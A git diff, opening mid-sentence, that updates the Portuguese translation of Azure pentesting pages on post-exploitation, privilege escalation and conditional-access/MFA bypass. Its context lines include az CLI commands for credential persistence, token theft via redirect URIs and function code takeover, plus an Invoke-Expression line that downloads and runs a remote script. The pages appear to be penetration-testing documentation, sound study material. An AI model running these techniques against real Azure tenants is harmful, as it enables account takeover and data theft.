alterar configurações de conexão em nível de servidor. ```bash az sql server connection-policy update \ --server \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 405e8a0ef..3f5024fcc 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - Table Storage Post Exploitation +# Az - Table Storage Pós Exploração {{#include ../../../banners/hacktricks-training.md}} -## Table Storage Post Exploitation +## Pós Exploração de Table Storage -Para mais informações sobre o armazenamento de tabelas, consulte: +Para mais informações sobre table storage, consulte: {{#ref}} ../az-services/az-table-storage.md @@ -12,7 +12,7 @@ Para mais informações sobre o armazenamento de tabelas, consulte: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -Um principal com esta permissão poderá **listar** as tabelas dentro de um armazenamento de tabelas e **ler as informações** que podem conter **informações sensíveis**. +Um principal com esta permissão poderá **listar** as tabelas dentro de um table storage e **ler as informações** que podem conter **informações sensíveis**. ```bash # List tables az storage table list --auth-mode login --account-name @@ -26,7 +26,7 @@ az storage entity query \ ``` ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -A principal com esta permissão poderá **escrever e sobrescrever entradas em tabelas**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever alguns dados confiáveis que poderiam abusar de alguma vulnerabilidade de injeção no aplicativo que os utiliza). +Um principal com esta permissão poderá **escrever e sobrescrever entradas em tabelas**, o que pode permitir que ele cause algum dano ou até mesmo escale privilégios (por exemplo, sobrescrever alguns dados confiáveis que poderiam abusar de alguma vulnerabilidade de injeção no aplicativo que os utiliza). - A permissão `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` permite todas as ações. - A permissão `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` permite **adicionar** entradas. @@ -55,6 +55,6 @@ az storage entity merge \ ``` ### \*/delete -Isso permitiria deletar arquivos dentro do sistema de arquivos compartilhado, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**. +Isso permitiria excluir arquivos dentro do sistema de arquivos compartilhado, o que poderia **interromper alguns serviços** ou fazer com que o cliente **perdesse informações valiosas**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 21661ba88..d63ca5416 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -4,7 +4,7 @@ ## VMs & Network -Para mais informações sobre VMs do Azure e redes, consulte a seguinte página: +Para mais informações sobre Azure VMs e rede, consulte a página a seguir: {{#ref}} ../az-services/vms/ @@ -12,7 +12,7 @@ Para mais informações sobre VMs do Azure e redes, consulte a seguinte página: ### VM Application Pivoting -Aplicações de VM podem ser compartilhadas com outras assinaturas e locatários. Se uma aplicação está sendo compartilhada, provavelmente é porque está sendo utilizada. Portanto, se o atacante conseguir **comprometer a aplicação e enviar uma versão com backdoor**, pode ser possível que ela seja **executada em outro locatário ou assinatura**. +As aplicações VM podem ser compartilhadas com outras assinaturas e locatários. Se uma aplicação está sendo compartilhada, é provavelmente porque está sendo utilizada. Portanto, se o atacante conseguir **comprometer a aplicação e enviar uma versão com backdoor**, pode ser possível que ela seja **executada em outro locatário ou assinatura**. ### Informações sensíveis em imagens @@ -68,14 +68,14 @@ az disk create \ --name \ --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ ``` -3. **Anexar o disco a uma VM** (o atacante precisa ter comprometido uma VM dentro da conta já) +3. **Anexar o disco a uma VM** (o atacante precisa já ter comprometido uma VM dentro da conta) ```bash az vm disk attach \ --resource-group \ --vm-name \ --name ``` -4. **Montar** o disco e **procurar informações sensíveis** +4. **Monte** o disco e **procure informações sensíveis** {{#tabs }} {{#tab name="Linux" }} @@ -94,23 +94,23 @@ sudo mount /dev/sdX1 /mnt/mydisk {{#tab name="Windows" }} -#### **1. Abrir o Gerenciamento de Disco** +#### **1. Abra o Gerenciamento de Disco** 1. Clique com o botão direito em **Iniciar** e selecione **Gerenciamento de Disco**. 2. O disco conectado deve aparecer como **Offline** ou **Não Alocado**. -#### **2. Colocar o Disco Online** +#### **2. Coloque o Disco Online** 1. Localize o disco no painel inferior. 2. Clique com o botão direito no disco (por exemplo, **Disco 1**) e selecione **Online**. -#### **3. Inicializar o Disco** +#### **3. Inicialize o Disco** 1. Se o disco não estiver inicializado, clique com o botão direito e selecione **Inicializar Disco**. 2. Escolha o estilo de partição: - **MBR** (Master Boot Record) ou **GPT** (GUID Partition Table). GPT é recomendado para sistemas modernos. -#### **4. Criar um Novo Volume** +#### **4. Crie um Novo Volume** 1. Clique com o botão direito no espaço não alocado no disco e selecione **Novo Volume Simples**. 2. Siga o assistente para: @@ -129,7 +129,7 @@ az snapshot list \ --resource-group \ -o table ``` -2. **Criar disco a partir de snapshot** (se necessário) +2. **Criar disco a partir do snapshot** (se necessário) ```bash az disk create \ --resource-group \ @@ -148,7 +148,7 @@ Pode ser possível encontrar **informações sensíveis dentro de extensões de ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` -2. Instale a extensão em uma VM e **procure informações sensíveis** +2. Instale a extensão em uma VM e **procure por informações sensíveis** ```bash az vm application set \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index d97e31059..8512f1fb2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1 +1 @@ -# Az - Escalação de Privilégios +# Az - Escalada de Privilégios diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index ce4782400..6dfa27e57 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -12,7 +12,7 @@ Para mais informações sobre os serviços de aplicativo do Azure, consulte: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, -Essas permissões permitem chamar os seguintes comandos para obter um **shell SSH** dentro de um aplicativo da web +Essas permissões permitem chamar os seguintes comandos para obter um **SSH shell** dentro de um aplicativo web - Opção direta: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index fb17445f5..6ccb7d8d2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -40,7 +40,7 @@ az role definition update --role-definition role.json ``` ### Microsoft.Authorization/elevateAccess/action -Esta permissão permite elevar privilégios e ser capaz de atribuir permissões a qualquer principal para recursos do Azure. É destinada a ser concedida a Administradores Globais do Entra ID para que eles também possam gerenciar permissões sobre recursos do Azure. +Esta permissão permite elevar privilégios e ser capaz de atribuir permissões a qualquer principal para recursos do Azure. É destinada a ser concedida a Administradores Globais do Entra ID para que eles também possam gerenciar permissões sobre os recursos do Azure. > [!TIP] > Eu acho que o usuário precisa ser Administrador Global no Entra ID para que a chamada de elevação funcione. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 226ddab17..ce1b86fbc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -77,9 +77,9 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados por usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada. +Um atacante pode adicionar uma URI de redirecionamento a aplicativos que estão sendo usados pelos usuários do locatário e, em seguida, compartilhar com eles URLs de login que usam a nova URL de redirecionamento para roubar seus tokens. Observe que, se o usuário já estiver logado no aplicativo, a autenticação será automática, sem que o usuário precise aceitar nada. -Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que solicita todas as permissões. +Observe que também é possível alterar as permissões que o aplicativo solicita para obter mais permissões, mas, nesse caso, o usuário precisará aceitar novamente o prompt que pede todas as permissões. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" @@ -95,10 +95,10 @@ Isso permite que um atacante adicione credenciais a principais de serviço exist az ad sp credential reset --id --append ``` > [!CAUTION] -> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\ +> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter persistência sobre um serviço principal.\ > A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: +Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` @@ -128,13 +128,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para remover o proprietário. Portanto, **você não pode remover proprietários atualmente**. +> Após adicionar um novo proprietário, tentei removê-lo, mas a API respondeu que o método DELETE não era suportado, mesmo sendo o método que você precisa usar para excluir o proprietário. Portanto, **não é possível remover proprietários atualmente**. ### `microsoft.directory/servicePrincipals/disable` e `enable` Essas permissões permitem desabilitar e habilitar principais de serviço. Um atacante poderia usar essa permissão para habilitar um principal de serviço ao qual ele poderia obter acesso de alguma forma para escalar privilégios. -Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o controle do principal de serviço habilitado. +Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o principal de serviço habilitado. ```bash bashCopy code# Disable az ad sp update --id --account-enabled false diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 63a3eca10..9a89ed59a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -5,12 +5,12 @@ ## Informações Básicas As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso a serviços e aplicativos do Azure com base em certas **condições**. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.\ -As políticas de acesso condicional basicamente **definem** **Quem** pode acessar **O que** de **Onde** e **Como**. +As políticas de acesso condicional basicamente **definem** **Quem** pode acessar **O Que** de **Onde** e **Como**. Aqui estão alguns exemplos: 1. **Política de Risco de Login**: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional. -2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a partir de dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional. +2. **Política de Conformidade de Dispositivos**: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a dispositivos que tenham software antivírus atualizado ou que estejam executando uma versão específica do sistema operacional. ## Bypasses de Políticas de Acesso Condicional @@ -21,7 +21,7 @@ Ao configurar uma política de acesso condicional, é necessário indicar os **u Também é necessário configurar as **condições** que irão **disparar** a política: - **Rede**: IP, intervalos de IP e localizações geográficas -- Pode ser contornado usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido +- Pode ser contornada usando um VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido - **Riscos da Microsoft**: Risco do usuário, risco de login, risco interno - **Plataformas de dispositivos**: Qualquer dispositivo ou selecionar Android, iOS, Windows Phone, Windows, macOS, Linux - Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas @@ -33,20 +33,20 @@ Também é necessário configurar as **condições** que irão **disparar** a po Os possíveis **resultados** são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade... -### Plataformas de Dispositivos - Condição do Dispositivo +### Plataformas de Dispositivos - Condição de Dispositivo -É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido,** você poderá contornar o MFA ou bloqueio: +É possível definir uma condição com base na **plataforma do dispositivo** (Android, iOS, Windows, macOS...), no entanto, isso é baseado no **user-agent**, então é fácil de contornar. Mesmo **fazendo todas as opções exigirem MFA**, se você usar um **user-agent que não é reconhecido**, você poderá contornar o MFA ou bloqueio:
Basta fazer o navegador **enviar um user-agent desconhecido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) para não disparar essa condição.\ -Você pode alterar o user agent **manualmente** nas ferramentas de desenvolvedor: +Você pode alterar o user-agent **manualmente** nas ferramentas de desenvolvedor:
- Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=pt). + Ou usar uma [extensão de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). -### Localizações: Países, intervalos de IP - Condição do Dispositivo +### Localizações: Países, intervalos de IP - Condição de Dispositivo Se isso estiver configurado na política condicional, um atacante poderia simplesmente usar um **VPN** no **país permitido** ou tentar encontrar uma maneira de acessar a partir de um **endereço IP permitido** para contornar essas condições. @@ -56,7 +56,7 @@ Se isso estiver configurado na política condicional, um atacante poderia simple
-Para tentar contornar essa proteção, você deve ver se consegue **acessar qualquer aplicativo**.\ +Para tentar contornar essa proteção, você deve ver se consegue **acessar apenas qualquer aplicativo**.\ A ferramenta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tem **dezenas de IDs de aplicativos codificados** e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido. Para **testar IDs de aplicativos específicos em recursos específicos**, você também pode usar uma ferramenta como: @@ -65,7 +65,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` -Além disso, também é possível proteger o método de login (por exemplo, se você está tentando fazer login pelo navegador ou por um aplicativo de desktop). A ferramenta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algumas verificações para tentar contornar essas proteções também. +Além disso, também é possível proteger o método de login (por exemplo, se você estiver tentando fazer login pelo navegador ou por um aplicativo de desktop). A ferramenta [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) realiza algumas verificações para tentar contornar essas proteções também. A ferramenta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) também pode ser usada para propósitos semelhantes, embora pareça não estar mantida. @@ -75,7 +75,7 @@ A ferramenta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) também pode se ### Toque de chamada -Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado**, onde será solicitado ao usuário que **envie o caractere `#`**. +Uma opção de MFA do Azure é **receber uma chamada no número de telefone configurado** onde será solicitado ao usuário que **envie o caractere `#`**. > [!CAUTION] > Como os caracteres são apenas **tons**, um atacante poderia **comprometer** a mensagem de **correio de voz** do número de telefone, configurando como mensagem o **tom de `#`** e, em seguida, ao solicitar o MFA, garantir que o **telefone da vítima esteja ocupado** (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz. @@ -84,7 +84,7 @@ Uma opção de MFA do Azure é **receber uma chamada no número de telefone conf As políticas frequentemente exigem um dispositivo compatível ou MFA, então um **atacante poderia registrar um dispositivo compatível**, obter um **token PRT** e **contornar assim o MFA**. -Comece registrando um **dispositivo compatível no Intune**, então **obtenha o PRT** com: +Comece registrando um **dispositivo compatível no Intune**, depois **obtenha o PRT** com: ```powershell $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials @@ -104,9 +104,9 @@ Encontre mais informações sobre esse tipo de ataque na seguinte página: ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -Este script obtém algumas credenciais de usuário e verifica se pode fazer login em alguns aplicativos. +Este script obtém algumas credenciais de usuário e verifica se é possível fazer login em algumas aplicações. -Isso é útil para ver se você **não precisa de MFA para fazer login em alguns aplicativos** que você pode posteriormente abusar para **escalar privilégios**. +Isso é útil para ver se você **não precisa de MFA para fazer login em algumas aplicações** que você pode posteriormente abusar para **escalar privilégios**. ### [roadrecon](https://github.com/dirkjanm/ROADtools) @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado. +MFASweep é um script PowerShell que tenta **fazer login em vários serviços da Microsoft usando um conjunto fornecido de credenciais e tentará identificar se o MFA está habilitado**. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -153,7 +153,7 @@ Porque o **portal** **Azure** **não é restrito**, é possível **coletar um to $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web por causa do MFA, é possível usar o token para acessar os arquivos com o token gerado: +Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web devido ao MFA, é possível usar o token para acessar os arquivos com o token gerado: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 413ef58c1..17f4e7ef0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -10,17 +10,17 @@ Verifique a página a seguir para mais informações: ../az-services/az-function-apps.md {{#endref}} -### Leitura/Escrita de Bucket +### Leitura/Gravação de Bucket Com permissões para ler os contêineres dentro da Conta de Armazenamento que armazena os dados da função, é possível encontrar **diferentes contêineres** (personalizados ou com nomes pré-definidos) que podem conter **o código executado pela função**. -Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de escrita sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. +Uma vez que você encontra onde o código da função está localizado, se você tiver permissões de gravação sobre ele, pode fazer a função executar qualquer código e escalar privilégios para as identidades gerenciadas anexadas à função. - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) O código da função geralmente é armazenado dentro de um compartilhamento de arquivos. Com acesso suficiente, é possível modificar o arquivo de código e **fazer a função carregar código arbitrário**, permitindo escalar privilégios para as identidades gerenciadas anexadas à Função. -Esse método de implantação geralmente configura as definições **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de +Esse método de implantação geralmente configura as configurações **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** e **`WEBSITE_CONTENTSHARE`** que você pode obter de ```bash az functionapp config appsettings list \ --name \ @@ -31,7 +31,7 @@ Essas configurações conterão a **Chave da Conta de Armazenamento** que a Fun > [!CAUTION] > Com permissões suficientes para se conectar ao File Share e **modificar o script** em execução, é possível executar código arbitrário na Função e escalar privilégios. -O seguinte exemplo usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares: +O exemplo a seguir usa macOS para se conectar ao file share, mas é recomendável verificar também a seguinte página para mais informações sobre file shares: {{#ref}} ../az-services/az-file-shares.md @@ -55,14 +55,14 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuração geralmente conterá uma **URL SAS para download** do código da Conta de Armazenamento. +Esta configuração geralmente conterá uma **SAS URL para download** do código da Conta de Armazenamento. > [!CAUTION] > Com permissões suficientes para se conectar ao contêiner de blob que **contém o código em zip**, é possível executar código arbitrário na Função e escalar privilégios. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma URL SAS para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. +Assim como no caso anterior, se a implantação for feita via Github Actions, é possível encontrar a pasta **`github-actions-deploy`** na Conta de Armazenamento contendo um zip do código e uma SAS URL para o zip na configuração `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` e `WEBSITE_CONTENTSHARE`) @@ -172,7 +172,7 @@ az functionapp keys set --resource-group --key-name --key ``` ### Microsoft.Web/sites/config/list/action -Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contêm uma **chave de conta para acessar o armazenamento blob da função com permissões COMPLETAS**. +Esta permissão permite obter as configurações de uma função. Dentro dessas configurações, pode ser possível encontrar os valores padrão **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contêm uma **chave de conta para acessar o blob storage da função com permissões COMPLETAS**. ```bash az functionapp config appsettings list --name --resource-group ``` @@ -215,7 +215,7 @@ az rest --method PUT \ ``` ### Microsoft.Web/sites/hostruntime/vfs/write -Com esta permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): +Com essa permissão, é **possível modificar o código de uma aplicação** através do console da web (ou através do seguinte endpoint da API): ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -240,7 +240,7 @@ az functionapp deployment user set \ --user-name DeployUser123456 g \ --password 'P@ssw0rd123!' ``` -- Se as credenciais **REDACTED** +- Se as credenciais de **REDACTED** Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash @@ -264,7 +264,7 @@ az rest --method PUT \ ``` - **Método SCM** -Então, você pode acessar com essas **credenciais de autenticação básica para a URL SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: +Então, você pode acessar com essas **credenciais de autenticação básica para a URL do SCM** do seu aplicativo de função e obter os valores das variáveis de ambiente: ```bash # Get settings values curl -u ':' \ @@ -297,7 +297,7 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Note que o **nome de usuário FTP** geralmente está no formato \\\$\._ +_Note que o **nome de usuário FTP** geralmente está no formato \\\$\._ ### Microsoft.Web/sites/publish/Action @@ -316,7 +316,7 @@ az rest --url "https://management.azure.com/subscriptions//reso ``` ### Microsoft.Web/sites/functions/token/action -Com esta permissão, é possível [obter o **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função: +Com esta permissão, é possível [obter o **token de admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que pode ser usado posteriormente para recuperar a **chave mestra** e, portanto, acessar e modificar o código da função: ```bash # Get admin token az rest --method POST \ @@ -338,13 +338,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -É também possível ver se uma função está habilitada ou desabilitada na seguinte URL (usando a permissão entre parênteses): +Também é possível ver se uma função está habilitada ou desabilitada na seguinte URL (usando a permissão entre parênteses): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -Com essas permissões, é possível **modificar o contêiner executado por um aplicativo de função** configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função do Azure malicioso para o docker hub (por exemplo) e fizesse a função executá-lo. +Com essas permissões, é possível **modificar o contêiner executado por um aplicativo de função** configurado para executar um contêiner. Isso permitiria que um atacante enviasse um aplicativo de contêiner de função malicioso para o docker hub (por exemplo) e fizesse a função executá-lo. ```bash az functionapp config container set --name \ --resource-group \ @@ -361,7 +361,7 @@ az functionapp identity assign \ ``` ### Depuração Remota -Também é possível conectar para depurar uma função Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis. +Também é possível conectar para depurar uma função do Azure em execução, como [**explicado na documentação**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). No entanto, por padrão, o Azure desativará essa opção em 2 dias caso o desenvolvedor se esqueça, para evitar deixar configurações vulneráveis. É possível verificar se uma Função tem a depuração ativada com: ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index fd66dc8da..8964830d2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -12,7 +12,7 @@ Para mais informações sobre este serviço, consulte: ### Microsoft.KeyVault/vaults/write -Um atacante com esta permissão será capaz de modificar a política de um cofre de chaves (o cofre de chaves deve estar usando políticas de acesso em vez de RBAC). +Um atacante com esta permissão poderá modificar a política de um cofre de chaves (o cofre de chaves deve estar usando políticas de acesso em vez de RBAC). ```bash # If access policies in the output, then you can abuse it az keyvault show --name diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index 70eeeba9a..7a2b99ea5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -12,7 +12,7 @@ Para mais informações, consulte: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -Um atacante com esta permissão pode visualizar mensagens de uma Azure Storage Queue. Isso permite que o atacante veja o conteúdo das mensagens sem marcá-las como processadas ou alterar seu estado. Isso pode levar ao acesso não autorizado a informações 